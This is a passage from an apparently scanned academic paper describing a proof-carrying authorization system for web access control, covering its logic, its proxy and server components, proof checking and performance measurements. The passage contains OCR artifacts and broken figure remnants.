ate logic and the implementing the system around 
it [2, 3, 5}. The most general of the logics — that is, 
the one that allows for expressing the widest range 
of security policies — was recently introduced by Ap- 
pel and Felten (AF logic) [4]. The AF logic is a 
higher-order logic that differs from standard ones 
only by the inclusion of a very few rules that are 
used for defining operators and lemmas suitable for 
a security logic. 


A higher-order logic like the AF logic, however, is 
not decidable, which means that no decision pro- 
cedure will always be able to determine the truth 
of a true statement, even given the axioms that 
imply it. This makes the AF logic unsuitable for 
use in traditional distributed authentication frame- 
works in which the server is given a set of credentials 
and must decide whether to grant access. ‘This prob- 
lem can be avoided in the server by making it the 
client’s responsibility to generate proofs. The server 
must now only check that the proof is valid — this is 
not difficult even in an undecidable logic — leaving 
the more complicated task of assembling the proof 
to the client. The server, using only the common un- 
derlying AF logic, can check proofs from all clients, 
regardless of the method they used to generate the 
proof or the proof’s structure. This technique of 
proof-carrying authorization (PCA) perfectly satis- 
fies our goal of interoperability — as long as a server 
bases its access control policy on the AF logic, inter- 
operation with systems in different administrative 
hierarchies is no more difficult than interoperation 
with local ones. 


2.2 Convenience of Use and Implemen- 
tation 


An important goal for a web access-control system 
that aspires to be practical is that it be imple- 
mentable without modification of the existing in- 
frastructure — that is, web browsers and web servers. 
Our access-control system involves three types of 
players: web browsers, web servers, and fact servers 
(which issue tokens that can certify not only suc- 
cessful authentication — as do ordinary authentica- 
tion servers — but also any other type of fact that 
they store). 


We enable the web browser to understand our au- 
thorization protocol by implementing a local web 
proxy. The proxy intercepts a browser’s request for 
a protected page and then executes the authoriza- 
tion protocol to generate the proof needed for ac- 
cessing the page; the web browser sees only the re- 
sult — either the page that the user attempted to 
access or an appropriate failure message. Each user 
has a unique cryptographic key held by the proxy. 
Users’ identities are established by name-key certifi- 
cates stored on fact servers. ‘he use of keys makes 
it unnecessary to prompt the user for a password, 
making the authorization process quicker and more 
transparent to the user. 


For tighter integration with the browser and bet- 
ter performance, the proxy could be packaged as a 
browser plugin. ‘This would make it less portable, 
however, as a different plugin would have to be writ- 
ten for each type of browser; we did not feel this was 
within the scope of our prototype implementation. 


The web server part of our system is built around 
an unmodified web server. The web server is PCA- 
enabled through the use of a servlet which inter- 
cepts and handles all PCA-related requests. ‘The 
two basic tasks that take place on the server’s side 
during an authorization transaction are generating 
the proposition that needs to be proved and verify- 
ing that the proof provided by the client is correct. 
Each is performed by a separate component, the 
proposition generator and the checker, respectively. 


Fact servers hold the facts a client must gather be- 
fore it can construct a proof. Each fact is a signed 
statement in the AF logic. We implement an off- 
line utility for signing statements, which lets us use 
a standard web server as a fact server. The fact 
server can also restrict access to the facts it pub- 
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lishes with a servlet, in the same manner as the web 
server. 


2.3 Efficiency 


The whole access-control process is completely 
transparent to a user. ‘l’o be practical, it must also 
be efficient. Assembling the facts necessary to con- 
struct a proof may involve several transactions over 
the network. The actual construction of the proof, 
the cryptographic operations done during the proto- 
col, and proof checking are all potential performance 
bottlenecks. 


Though our system is a prototype and not 
production-quality, its performance is good enough 
to make it acceptable in practice. Heavy use of 
caching limits the need to fetch multiple facts over 
the network and speculative proving makes it pos- 
sible to shorten the conversation between the web 
proxy and the servlet. 


2.4 Generality 


The best current web authorization mechanisms 
have the characteristic that they are not limited to 
providing access control for web pages; indeed, their 
strength is that they provide a unified method that 
also regulates access to other resources, such as file 
systems. Our system, while implemented specifi- 
cally for access control on the web, can also be ex- 
tended in this manner. The idea of proof-carrying 
authorization is not specific to web access control, 
and the mechanisms we develop, while implemented 
in a web proxy and a servlet, can easily be modified 
to provide access control for other resources. 


3 Implementation 


In this section we use the running example of Al- 
ice trying to access midterm. html (Figure 1) to de- 
scribe the implementation of our system in detail. 
We describe each part of the system when it be- 
comes relevant as we follow the example (the text 
of which will be indented and italicized). 
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Alice @ Request midterm. html. 
Challenge @ 


(@ @ Request ACL p 








"Registrar.CS 101" @ 
@ Proof 





midterm.html 






Cert. Authority 
(Registrar) 


Figure 1. Alice wants to read midterm. html. 
In practice, caching makes most of the mes- 
sages shown unnecessary. 


3.1 Example and Overview 


Let us consider the following scenario. Bob is a 
professor who teaches CS101. He has put up a web 
page that has the answers to a midterm exam his 
class just took. He wants access to the web page to 
be restricted to students in his class, and he doesn’t 
want the web page to be accessible before 8 P.M. 


Alice is a student in Bob’s class. It’s 9 P.M., and 
she wants to access the web page (http: //server/ 
midterm.html) that Bob has put up. Her web 
browser contacts the server and requests the page 
/midterm.html. 


Upon receiving this request, the server constructs 
a challenge (a statement in the logic) which must 
be proven before the requested URL will be re- 
turned. The server returns an “Authorization Re- 
quired” message (Figure 1, step 2) which includes 
the challenge, “You must prove: ‘The server says 
that it’s OK to read /midterm. html.” 


When Alice receives the response, she examines the 
challenge and attempts to construct a proof. Un- 
fortunately, the attempt fails: Alice has no idea 
how to go about proving that it’s OK to read 
/midterm.html. She sends another request to the 
server: “Please tell me who can read /midterm. 


USENIX Association 


USENIX Association 


html” (step 3). 


The server’s reply (step 4) tells her that all the stu- 
dents taking CS101 (the Registrar has a list of them) 
may access the page, as long as it’s after 8 P.M. Still, 
that does not give her enough information to con- 
struct the proof. She contacts the Registrar (step 
5), and from him gets a certificate asserting, “un- 
til the end of the semester, Alice is taking CS101” 
(step 6). 


Finally, there is enough information to prove that 
Alice should be allowed to access the file. Once a 
proof is generated, Alice sends another request for 
/midterm.html to the server (step 7). This time 
she includes in the request the challenge and its 
proof. The server checks that the proof is valid, 
and that Alice proved the correct challenge. If both 
checks succeed, the server returns the requested 


page (step 8). 


3.2 Logic 


Our authorization system, like other proof-carrying 
authorization systems, has a core logic with an 
application-specific logic defined on top of it. 


The application-specific logic is used to define the 
operators and rules useful for writing security poli- 
cies for web access control — in our case standard 
operators like says and speaksfor were sufficient. 
Unlike in traditional distributed authorization sys- 
tems, in which these operators would be primitive, 
in proofcarrying authorization systems these oper- 
ators are implemented as definitions using the core 
logic. ‘This is what makes it possible for our system 
to work seamlessly across administrative domains — 
as long as they share a common core logic, the op- 
erators of any application-specific logic can be re- 
garded merely as abbreviations. 


The following are operators of our application- 
specific logic, their informal definitions, and their 
encodings in the AF logic. 


A says F A principal A says any statement that 
is true. Also, if A says the formula X, and the 
formula Y is true, and X and Y imply formula 
Z, then A also says Z — this allows the principal 
A to draw conclusions based on its beliefs. 


Asays F = AG. A(G)A(G— F) 


A speaksfor B This operator is used for delega- 
tion. If principal A speaks for principal B, then 
anything that A says is spoken with principal 
B’s authority. 


A speaksfor B = VF. 
— (B says F) 


(A says F’) 


A.s The principal A.s (or localname(A,s)) is a 
new principal created in A’s local name space 
from the string s. Principal A controls what 
A.s says. In our example, the principal reg- 
istrar creates the principal registrar.cs101, and 
signs a formula like ‘key( “alice” ) speaksfor (reg- 
istrar. “csl01” )’ for each student in the class. 


A.s(F) = VL. Inlike(L) > L(A)(S)(F) 


The Inlike operator is used to break the re- 
cursion in the definition of localname. The 
definition of Inlzke looks complicated, but is 
such that Inlike(L) is true for every function 
L that behaves as a local name should; that 
is, it returns true for every function that gener- 
ates a principal whose authority A can delegate. 
localname is one of the operators explicitly de- 
fined so that it obeys only the set of rules that 
we require of it; this makes its definition some- 
what more complicated and adds complexity to 
the proofs of lemmas about it. 


Inlike(L) = VA,S,F,\G. 
((A says G) and (G — (L(A)(S) says F’))) 
> L(A)(S)(F) 


Rules about these operators can be proved as lem- 
mas and are also transient to the core logic. Using 
the operators we defined, we can now prove rules 
such as this one, which states that says follows im- 
plication: 


A says F Fo 
A says G 


says_imp 


The core logic we use is a variant of the AF logic 
(the rules of which are presented in Appendix A). 
The only rules that aren’t standard rules of higher- 
order logic are the four that allow us to reason about 
digital signatures, time, and implication inside the 
says operator. 
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3.3 Client: Proxy Server 


The job of the proxy server is to be the intermedi- 
ary between a web browser that has no knowledge 
of the PCA protocol and a web server that is PCA- 
enabled. An attempt by the browser to access a 
web page results in a dialogue between the proxy 
and the server that houses the page. The dialogue is 
conducted through PCA-enhanced HT’TP—HTTP 
augmented with headers that allow it to convey in- 
formation needed for authorization using the PCA 
protocol. The browser is completely unaware of this 
dialogue; it sees only the web page returned at the 
end. 


When Alice requests to see the page http: // 
server/midterm. html, her browser forms the re- 
quest and sends it to the local proxy (Figure 2, step 
1). The proxy server forwards the request without 
modifying it (step 2). 


3.4 Secure Transmission and Session 
Identifiers 


The session identifier is a shared secret between the 
client and server. The identifier is used in challenges 
and proofs (including in digitally signed formulas 
within the proofs) to make them specific to a single 
session. ‘This is important because the server caches 
previously proven challenges and allows clients to 
present the session identifier as a token that demon- 
strates that they have already provided the server 
with a proof. 


The session identifier is a string generated by the 
server using a cryptographic pseudorandom number 
generator. Our implementation uses a 144-bit value 
which is then stored using a base-64 encoding. (144 
bits was chosen because the value converts evenly 
into the base-64 encoding. ) 


Since the session identifier may be sufficient to gain 
access to a resource, stealing a session identifier, 
akin to stealing a proof in a system where goals are 
not unique, compromises the security of the system. 
In order to keep the session identifier secret, com- 
munication between the client and server uses the 
secure protocol HT'T'PS instead of normal HTTP in 
all cases where a session identifier is sent. If the 
client attempts to make a standard HTTP request 
for a PCA-protected page, the server replies with 


a special “Authorization Required” message which 
directs the client to switch to HTTPS and retry the 
request. 


Alice’s proxy contacts the server, asking for 
midterm. html. Since that page is PC'A-protected 
and the proxy used HT'T'P, the server rejects the 
request. The proxy switches to HTTPS and sends 
the same request again. 








assum's.\. Y 
purged? 







purge assumptions 


try to prove 


| 
N Y 
fetch facts = 
Y N 


Figure 3. Client flowchart. 


3.5 Server: Proposition Generator and 
Iterative Authorization 


When a client attempts to access a PC A-protected 
web page, the server replies with a statement of 
the theorem that it wants the client to prove before 
granting it access. ‘This statement, or proposition, 
can be generated autonomously; it depends only on 
the pathname of the file that the client is trying to 
access and on the syntax of the logic in which it is 
to be encoded. 
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Figure 2. ‘Ihe components of the system. 


The server’s proposition generator provides the 
server with a list of propositions. ‘The server returns 
to the client the first unproven proposition. If the 
client successfully proves that proposition in a sub- 
sequent request, then the server will reply with the 
next unproven proposition as the challenge. This 
process of proving and then receiving the next chal- 
lenge from a list of unproven propositions is called 
iterative authorization. The processes for the client 
and server are shown in the flowcharts of Figure 3 
and Figure 4. 


The process of iterative authorization terminates 
when either the client gives up (i.e., cannot prove 
one of the propositions) or has successfully proven 
all of the propositions, in which case access is al- 
lowed. If the client presents a proof which fails 
when the server checks it, it is simply discarded. 
In this case, the same challenge will be returned to 
the client twice. 


If the client receives the same challenge twice, it 
knows that although it “successfully” constructed 
a proof for that challenge, the proof was rejected 
by the server. This means that one of the client’s 
assumptions must have been incorrect. ‘The client 
may choose to discard some assumptions and retry 
the proof process. 


Our system generates a proposition for each direc- 
tory level of the URL specified in the client’s re- 
quest. This ensures that the client has permission 
to access the full path (i.e., just like in standard 
access control for a hierarchical file system). Since 
the server returns identical challenges regardless of 
whether the requested object exists, returning a 
challenge reveals no information about the existence 


of objects on the server. 


Isolating the proposition generator from the rest of 
the server makes it easy to adapt the server for other 
applications of PCA; using it for another applica- 
tion may require nothing more than changing the 
proposition generator. 


After receiving the second, encrypted request, the 
server first generates the session ID, “sid”. It then 
passes the request and the ID to the proposition 
generator. The proposition generator returns a list 
of propositions that Alice must prove before she is 
allowed to see /midterm. html: 


(key "server") says 
(goal "http://server/" "sid") 


(key "server") says 
(goal "http://server/midterm.html" "sid") 


For the purposes of this example, we will deal only 
with the second challenge. In reality, Alice would 
first have to prove that she is allowed to access 
http: //server/, and only then could she try to 
prove that she is also allowed to access http: // 
server/midterm. html. 


A benefit of iterative authorization is that it allows 
parts of the security policy to be hidden from unau- 
thorized clients. Only when a challenge has been 
proven will the client be able to access the facts that 
it needs to prove the next challenge. In the context 
of our application this means, for example, that a 
client must prove that it is allowed to access a direc- 
tory before it can even find out what goal it must 
prove (and therefore what facts it must gather) to 
gain access to a particular file in that directory. 
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Figure 4. Server flowchart. 


3.6 Server: Challenges; Client: Proofs 


For each authorization request, the server’s proposi- 
tion generator generates a list of propositions which 
must be proven before access is granted. Each 
proposition contains a URL and a session identi- 
fier. ‘The server checks each proposition to see if 
it was previously proven by the client by checking 
a cache of previously proven challenges. If all of 
the propositions have been proven, access is allowed 
immediately. Otherwise, the first unproven propo- 
sition is returned to the client as a challenge. Any 
other unproven propositions are discarded. 


The server constructs a reply with a status code of 
“Unauthorized.” This is a standard HTTP response 
code (401) [10]. The response includes the required 
HTTP header field “WWW-Authenticate” with an 


authentication scheme of “PCA” and the unproven 
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proposition as its single parameter, 


Once the client has constructed a proof of the chal- 
lenge, it makes another HTTPS request (this can be 
done with the same TCP connection if allowed by 
keep-alive) containing the challenge and the proof. 
The challenge is included in an “Authorization” 
request-header field, and the proof is included in a 
series of “X-PCA-Proof” request-header fields. The 
server checks that the proof proves the supplied 
challenge, adds the challenge to its cache of proven 
propositions, and then begins the checking process 
for the next proposition. 


The first proposition in the example is the one 
stating that the server says that it’s OK to read 
http://server/. ‘The server checks whether it 
has already been proven and moves on to the 
hext one. (Remember that for the purposes of 
the example we’re concentrating only on the sec- 
ond proposition; the authorization process for each 
is identical.) The next proposition states that 
the server says it’s OK to read http: //server/ 
midterm. html. This one hasn’t been proven yet, 
so the server constructs an HTTP response that 
includes this proposition as a challenge and sends 
it to Alice. This is step 5 of Figure 2. 


3.7 Client: Prover 


In the course of a PCA conversation with a server, 
the proxy needs to generate proofs that will demon- 
strate to the server that the client should be allowed 
access to a particular file. This task is independent 
enough from the rest of the authorization process 
that it is convenient to abstract it into a separate 
component. During a PCA conversation the client 
may need to prove multiple statements; the process 
of proving each is left to the prover. 


The core of the prover in our system is the ‘T'welf log- 
ical framework [18]. Proofs are generated automati- 
cally by a logic program that uses tactics. The goal 
that must be proven is encoded as the statement 
of a theorem. Axioms that are likely to be helpful 
in proving the theorem are added as assumptions. 
The logic program generates a derivation of the the- 
orem; this is the “proof” that the proxy sends to the 
server. 


The tactics that define the prover roughly corre- 
spond to the inference rules of the application- 
specific logic. ‘Together with the algorithm that uses 
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them, the tactics comprise a decision procedure that 
generates proofs — for our system to always find 
proofs of true statements, this decision procedure 
must be decidable. 


A tactic for proving A speaksfor C'would be to find 
proofs of A speaksfor B and B speaksfor C‘and then 
use the transitivity lemma for speaksfor. Other tac- 
tics might be used to guide the search for these sub- 
goals. The order in which tactics are applied af- 
fects their effectiveness. Care must also be taken 
to avoid situations in which tactics might guide the 
prover into infinite (or finite but time-consuming) 
branches that don’t lead to a proof. For the re- 
stricted set of rules that we are interested in, the 
prover in our system is able to automatically gener- 
ate proofs whenever they exist. 


As part of generating the proof of a goal given to it 
by the proxy, the prover’s job is to find all the as- 
sumptions that are required by the proof. Assump- 
tions needed to generate a proof might include state- 
ments made by the server about who is allowed to 
access a particular file, statements about clock skew, 
statements by which principals delegate authority to 
other principals, or statements of goal. While some 
of these might be known to the proxy, and would 
therefore have been provided to the prover, others 
might need to be obtained from web pages. 


Since fetching assumptions from the web is a rela- 
tively time-consuming process (hundreds of millisec- 
onds is a long time for a single step of an interac- 
tive authorization that should be transparent to the 
user), the prover caches the assumptions for future 
use. ‘The prover also periodically discards assump- 
tions which have not been recently used in successful 
proofs. 


3.8 Client: Iterative Proving 


The client is responsible for proof generation. ‘The 
client may not always be able to generate a proof of 
the challenge on the first try. It may need to obtain 
additional information, such as signed delegations 
or other facts, before the proof can be completed. 
The process of fetching additional information and 
then retrying the proof process is called iterative 
proving. ‘he process does not affect the server, and 
terminates when a proof is successfully generated. 


Proof generation can be divided into two phases. In 


the first phase, facts are gathered. In the second 
phase, straightforward prover rules are used to test 
if these facts are sufficient to prove the challenge. If 
so, the proof is returned. Otherwise, the phases are 
repeated, first gathering additional facts and then 
reproving, until either a proof is successfully gener- 
ated, or until no new facts can be found. 


The fact-gathering phase involves the client gather- 
ing four basic types of facts. 


Self-signed Assumptions ‘The first type of facts 
comes from the client itself. The client can sign 
statements with its own private key, and these may 
be useful in constructing proofs. Often, for exam- 
ple, it is necessary for the client to sign part of the 
challenge itself and use this as an assumption in the 
proof. 


Alice will sign the statement 
goal "http://server/midterm.html" "sid" 


Applying the signature axiom to this state- 
ment will yield 


(key "alice") says 
(goal "http://server/midterm. html" "sid") 


Armed with this assumption (and no others, so 
far), Alice tries to prove the challenge. The at- 
tempt fails in the client (i.e., no proof is con- 
structed, so nothing is sent to the server); Alice 
realizes that this assumption by itself isn’t suffi- 
cient to generate a proof so she tries to collect more 
facts. (Steps 6 and 8 of Figure 2.) 


Goal-oriented facts ‘The second type of facts 
is typically (though not necessarily) provided by 
the web server. While generating propositions and 
checking proofs are conceptually the two main parts 
of the server-side infrastructure, a PCA-enabled 
server may want to carry out a number of other 
tasks. One of these is managing pieces of the secu- 
rity policy. To generate a proof that it is authorized 
to access a particular web page, a client will have to 
know which principals have access to it. Such infor- 
mation, since it describes which principals have di- 
rect access to a particular goal, we call goal-oriented 
facts. 


In our implementation, the server keeps this infor- 
mation in access-control lists. Entries from these 
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lists, encoded in a manner that makes them suitable 
for use as assumptions, are provided to the client on 
demand. They are not given out indiscriminately, 
however. Before providing a goal-oriented fact, the 
server uses an additional PCA exchange to check 
whether the client is authorized to access the fact. 


In our system the client queries the server for goal- 
oriented facts for each challenge it needs to prove. 
Goals are described by URLs, and the server re- 
quires PCA authorization for a directory before it 
will return the goal-oriented facts that describe ac- 
cess to files/directories inside that directory. The 
goal-oriented fact that describes access to the root 
directory is freely returned to any client. In this 
way, a client is forced to iteratively prove autho- 
rization for each directory level on the server. 


Since her first attempt at generating a proof 
didn’t succeed, Alice sends a message to the 
server requesting goal-oriented facts about http: 
//server/midterm. html. Upon receiving the re- 
quest, the server first checks whether Alice has 
demonstrated that she has access to http:// 
server/. It does this by generating a list of as- 
sumptions (there will be only a single assumption 
in the list) and then checking whether Alice has 
proven it. After determining that Alice is allowed 
access to the root directory, the server gives to Al- 
Ice a signed version of the statement 


not (before “server” (8 P.M.)) 
imp ((localname (key "registrar") "cs101") 
says (goal "http://server/midterm.html" 
"sig")) 
imp (goal "http://server/midterm.html" "sig") 


Alice translates it into, “Server says: ‘If it is 
not before 8 P.M., and a CS101 student says it’s 
OK to read midterm. html, then it’s OK to read 
midterm. html.’ ” 

Fetching the ACL entry from the server is also de- 
scribed by steps 2 through 5 of Figure 2. 


Server Time _ In order to generate proofs which 
include expiring statements, the client must make 
a guess about the server’s clock. The third type 
of facts is the client’s guess about the time which 
will be showing on the server’s clock at the instant 
of proof checking. If the client makes an incorrect 
guess, it might successfully generate a proof which 
is rejected by the server. (An incorrect guess about 
the server’s clock is the only reason for rejecting a 
properly formed proof, since it is the only “fact” the 
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the server might not accept.) In this case, the client 
adjusts its guess about the server’s clock and begins 
the proof generation process again. 


In order to use the goal-oriented assumption it re- 
ceived from the server, Alice must also know some- 
thing about the current time. Since it’s 9 P.M. by 
her clock, she guesses that the server believes that 
the time is before 9:05 P.M. and after 8:55 P.M. 
This corresponds to the assumption 


before "server" (9:05 P.M.) and 
not (before "server" (8:55 P.M.)) 


Armed with the self-signed assumption, the goal- 
oriented assumption, and the assumption about 
time, Alice again tries proving that she can ac- 
cess midterm. html. Again, she discovers that she 
doesn’t have enough facts to construct a proof. She 
knows that Registrar.CS101 can access the file, but 
she doesn’t know how to extend the access privi- 
lege to herself. 


Key-oriented facts The fourth type of facts 
come from hints that are embedded in keys and that 
enable facts to be stored on a separate (perhaps cen- 
tralized or distributed) server. Concatenated with 
each public key is a list of URLs which may contain 
facts relevant to that key. 


At each fact-fetching step, the client examines all 
of the keys referenced in all of the facts already 
fetched. Each key is examined for embedded hints. 
The client then fetches new facts from all of these 
hint URLs. If needed, these new facts will be exam- 
ined for additional hint URLs, which will then be 
fetched; this process will continue until all needed 
facts have been found. In this way, the client does 
a breadth-first search for new facts, alternating be- 
tween searching one additional depth level and at- 
tempting to construct a proof with the current set 
of facts. 


Although the proof didn’t succeed, Alice can now 
use the hints from her facts to try to find additional 
facts that might help the proof. Bob’s server’s key 
and the Registrar’s key are embedded in the facts 
Alice has collected. In each key is encoded a URL 
that describes a location at which the owner of that 
key publishes additional facts. Bob’s server’s key, 
heretofore given as key "server" actually has the 
formkey "server ;http://server/hints/". 

Before giving up, Alice’s prover follows these URLs 
to see if it can find any new facts that might help. 


USENIX Association 


USENIX Association 


This 1s shown as step 7 of Figure 2. Following 
the hint in the Registrar’s key, Alice downloads 
a signed statement which she translates into the 
assumption 


(key "registrar") says 
(before "registrar" (end of semester) 
imp ((key "alice") speaksfor 
(localname (key "registrar") 
"cs101"))) 


This fact delegates to Alice the right to speak on 
behalf of Registrar.CS101: “The Registrar says 
that until the end of the semester, whatever Al- 
ice says has the same weight as if Registrar.CS101 
sald it.” 

Following the hint in Bob’s server’s key, Alice ob- 
tains a new fact that tells her the clock skew be- 
tween Bob’s server and the Registrar. 

Alice now finally has enough facts to generate a 
proof that demonstrates that she is authorized to 
read http: //server/midterm. html. Alice makes 
a final request to access http: //server/midterm. 
html, this time including in it the full proof. 


3.9 Server: Proof Checking 


The Theory. After it learns which proposition it 
must prove, the client generates a proof and sends 
it to the server. If the proof is correct, the server 
allows the client to access the requested web page. 
Proofs are checked using T'welf. The proof provided 
by the client is encoded as an LF term [13]. The type 
(in the programming languages sense) of the term is 
the statement of the proof; the body of the term is 
the proof’s derivation. Checking that the derivation 
is correct amounts to type checking the term that 
represents the proof. If the term is well typed, the 
client has succeeded in proving the proposition. 


As is the case for the client, using Twelf for proof 
checking is overkill, since only the type-checking al- 
gorithm is used. The proof checker is part of the 
trusted computing base of the system. ‘T’o minimize 
the likelihood that it contains bugs that could com- 
promise security, it should be as small and simple 
as possible. Several minimal LF type checkers have 
already been or will shortly be implemented [16, 20]; 
one of these could serve as the proof checker for our 
system. 


LF terms can either have explicit type ascriptions 
or be implicitly typed. The explicitly-typed version 


may need to introduce more that one type annota- 
tion per variable, which can lead to exponential in- 
crease in the size of the proofs. The implicitly-typed 
version is much more concise, but suffers from a dif- 
ferent problem: the type-inference algorithm that 
the server would need to run is undecidable, which 
could cause correct proofs not to be accepted or the 
server to be tied up by a complicated proof. 


The LF community is currently developing a type 
checker for semi-explicitly typed LF terms that 
would solve both problems. Its type-inference algo- 
rithm will be decidable, and the level of type ascrip- 
tion it will require will not cause exponential code 
blowup. Until it becomes available, our system will 
require proofs to be explicitly typed. 


The Practice. Checking the proof provided by 
the client, however, is not quite as simple as just 
passing it through an LF type checker. The body 
of an LF term is the proof of the proposition repre- 
sented by its type. If the term has only a type as- 
cription but no body, it represents an axiom. That 
the axiom may type check does not mean that we 
want to allow it as part of the proof. If we were to do 
so, the client could respond to a challenge by send- 
ing an axiom that asserted the proposition it needed 
to prove; obviously we wouldn’t want to accept this 
statement as proof of the challenge. In addition, 
the server must verify any digital signatures that 
are sent with the proof. 


To solve these problems, the server preprocesses the 
client’s proof before passing it to a type checker. 
The preprocessor first makes sure that all of the 
terms that make up the proof have both a type and 
a body. A proof that contains illegal axioms is re- 
jected. 


Next, two special types of axioms are inserted into 
the proof as necessary. ‘The first type is used to 
make propositions about digital signatures, and the 
second type is used to make propositions regarding 
time. ‘These are required since the proof checker 
cannot check digital signatures or time statements 
directly. The client inserts into the proof place hold- 
ers for the two types of axioms it can use. ‘The server 
makes sure that each axiom holds, generates an LF 
declaration that represents it, and then replaces the 
placeholder with a reference to the declaration. 


For digital signatures, the client inserts into the 
proof a proposition of the special form “#signature 
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key, formula, sig”. ‘The server checks that sig is a 
valid signature made by the key key for the formula 
formula. If so, the #signature statement is replaced 
by an axiom asserting that key signed formula. 


To make statements about time, the client inserts a 
proposition of the special form “##now”. ‘The pre- 
processing stage replaces the #now with an axiom 
asserting the current time. Axioms of this form are 
necessary when signed propositions include an expi- 
ration date, for example. 


Once the proof has been parsed to make sure it 
contains no axioms and special axioms of these two 
forms have been reintroduced, the proof is checked 
to make sure it actually proves the challenge. (The 
proof might be a perfectly valid proof of some other 
challenge!) If this final check succeeds, then the 
whole proof is passed to an LF type checker; in our 
case, this is again ‘T'welf. 


If all of these checks succeed, then the challenge is 
inserted into the server’s cache of proven proposi- 
tions. The server will either allow access to the page 
(if this was the last challenge in the server’s list) or 
return the next challenge to the client. 


The server receives Alice’s request for midterm. 
html and generates a list of propositions that need 
to be proven before access is granted. Only the 
last proposition is unproven, and its proof is in- 
cluded in Alice’s request. The server expands the 
#signature and #4now propositions, and sends the 
proof to the type-checker. The proof checks suc- 
cessfully, so the server inserts it in its cache; Al- 
ice won’t have to prove this proposition again. 
Finally, the server checks whether Alice proved 
the correct challenge, which she has. There are 
no more propositions left to be proven, Alice has 
successfully proven that she is authorized to read 
http: //server/midterm. html. The server sends 
the requested page to Alice. 


4 Optimizations and Performance 


Results 


4.1 Caching and Modularity 


Our authorization protocol involves a number of po- 
tentially lengthy operations like transferring data 
over the network and verifying proofs. We use 
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caching on both the client and the server to alle- 
viate the performance penalty of these operations. 


Client-side One of the inevitable side-effects of 
a security policy that is distributed across multi- 
ple hosts is that a client has to communicate with 
each of them. Delegation statements in the secu- 
rity policy may force this communication to happen 
sequentially, since a client might fetch one piece of 
data only to discover that it needs another. While 
there is little than can be done to improve the worst- 
case scenario of a series of sequential fetches over the 
network, subsequent fetches of the same facts can 
be eliminated by caching them on the client. Some 
facts that reside in the cache may expire; but since it 
is easy for the client to check whether they are valid, 
they can be checked and removed from the cache 
out-of-band from the proof-generation process. 


Server-side ‘To avoid re-checking proofs, all cor- 
rectly proven propositions are cached. Some of 
them may use time-dependent or otherwise ex- 
pirable premises—they could be correct when first 
checked but false later. If such proofs, instead of 
being retransmitted and rechecked, are found in 
the cache, their premises must still be checked be- 
fore authorization is accepted. The proofs are kept 
cached as long as the session ID with which they are 
associated is kept alive. 


Since all proofs are based on a sparse and basic core 
logic, they’re likely to need many lemmas and defi- 
nitions for expressing proofs in a concise way. Many 
clients will use these same lemmas in their proofs; 
most proofs, in fact, are likely to include the same 
basic set of lemmas. We have added to the proof 
language a simple module system that allows us to 
abstract these lemmas from individual proofs. In- 
stead of having to include all the lemmas in each 
proof, the module system allows them to be im- 


ported with a statement like basiclem = #include 
http://server/lemmas.elf. If the lemma 
speaksfor_trans, for example, resides in the 


basiclem module, it can now be referenced from the 
body of the proof as basiclem.speaksfor_trans. 
Instead of being managed individually by each 
client, abstracting the lemmas into modules allows 
them to be maintained and published by a third 
party. A company, for instance, can maintain a sin- 
gle set of lemmas that all its employees can import 
when trying to prove that they are allowed to access 
their payroll records. 
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To make the examples in the previous section more 
understandable, we have omitted from them refer- 
ences to modules. In reality, each proof sent by a 
client to a server would be prefixed by a #include 
statement for a module that contained the defini- 
tions of, for example, says, speaksfor, localname 
and the lemmas that manipulate them, as well as 
more basic lemmas. 


Aside from the administrative advantages, an im- 
portant practical benefit of abstracting lemmas into 
modules is increased efficiency, both in bandwidth 
consumed during proof transmission and in re- 
sources expended for proof checking. Instead of 
transmitting with each proof several thousands of 
lines of lemmas, a client merely inserts a #include 
declaration which tells the checker the URL (we cur- 
rently support only modules that are accessible via 
HTTP) at which the module containing the lemmas 
can be found. Before the proof is transmitted from 
the client to the server, the label under which the 
module is imported is modified so that it contains 
the hash of the semantic content (that is, a hash 
that is somewhat independent of variable names and 
formatting) of the imported module. This way the 
checker knows not only where to find the module, 
but can also verify that the prover and the checker 
agree on its contents. 


When the checker is processing a proof and encoun- 
ters a #include statement, it first checks whether a 
module with that URL has already been imported. 
If it has been, and the hash of the previously im- 
ported module matches the hash in the proof, then 
proof checking continues normally and the proof can 
readily reference lemmas declared in the imported 
module. If the hashes do not match or the module 
hasn’t been imported, the checker accesses the URL 
and fetches the module. A module being imported 
is validated by the checker in the same way that a 
proof would be. Since they’re identified with con- 
tent hashes, multiple versions of a module with the 
same URL can coexist in the checker’s cache. 


The checker takes appropriate precautions to guard 
itself against proofs that may contain modules that 
endlessly import other modules, cyclical import 
statements, and other similar attacks. 


4.2 Speculative Proving 


In our running example the web proxy waited for 
the server’s challenge before it began the process of 
constructing a proof. In practice, our proxy keeps 
track of visited web pages that have been protected 
using PCA. Based on this log, the proxy tries to 
guess, even before it sends out any data, whether 
the page that the user is trying to access is PCA 
protected, and if it is, what the server’s challenge 
is likely to be. In that case, it can try to prove 
the challenge even before the server makes it (we 
call this prove-ahead or speculative proving). The 
proof can then be sent to the server as part of the 
original request. If the client guessed correctly, the 
server will accept the proof without first sending a 
challenge to the client. If the web proxy already 
has all the facts necessary for constructing a proof, 
this will reduce the amount of communication on 
the network to a single round trip from the client 
to the server. ‘This single round trip is necessary in 
any case, just to fetch the requested web page; in 
other words, the proof is piggybacked on top of the 
fetch message. 


4.3 Performance Numbers 





protocol stage ms 
fetch URL attempt without HTTPS 198 
fetch URL attempt with no proof Ts 
failed proof attempt 184 
fetch file fact + failed proof attempt 216 
fetch key fact + successful proof attempt 497 
fetch URL attempt (empty server cache) 592 
failed proof attempt 184 
fetch file fact + successful proof attempt 295 
fetch URL attempt (server cached module) 330 
total 3219 
Figure 5. Worst-case performance. 
protocol stage ms 
fetch URL attempt with no proof 180 
failed proof attempt 184 
fetch file fact + successful proof attempt 295 
fetch URL attempt (server cached module) 330 
total 989 — 


Figure 6. ‘T'ypical performance. 


As one might expect, the performance of our system 
varies greatly depending on how much information 
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protocol stage ms 
construct proof from cached facts 270 
fetch URL attempt (server cached module) 330 
total 600 
Figure 7. Fully-cached performance. 
protocol stage ms 
fetch URL attempt (already authorized) 175 
total 175 


Figure 8. Performance with valid session ID. 


is cached by the proxy and by the server. The rele- 
vant metric is the amount of time it takes to fetch a 
protected web page. We evaluated our system using 
the example of Alice trying to access midterm. html 
(see figures 5-8; for comparison, figure 9 shows the 
length of time to fetch a page that is not protected; 
the actual example from which we obtained perfor- 
mance data did not include facts about time). 


The slowest scenario, detailed in figure 5, is when all 
the caches are empty and the first attempt to fetch 
the protected page incurs initialization overhead on 
the server (this is why the first attempt to fetch 
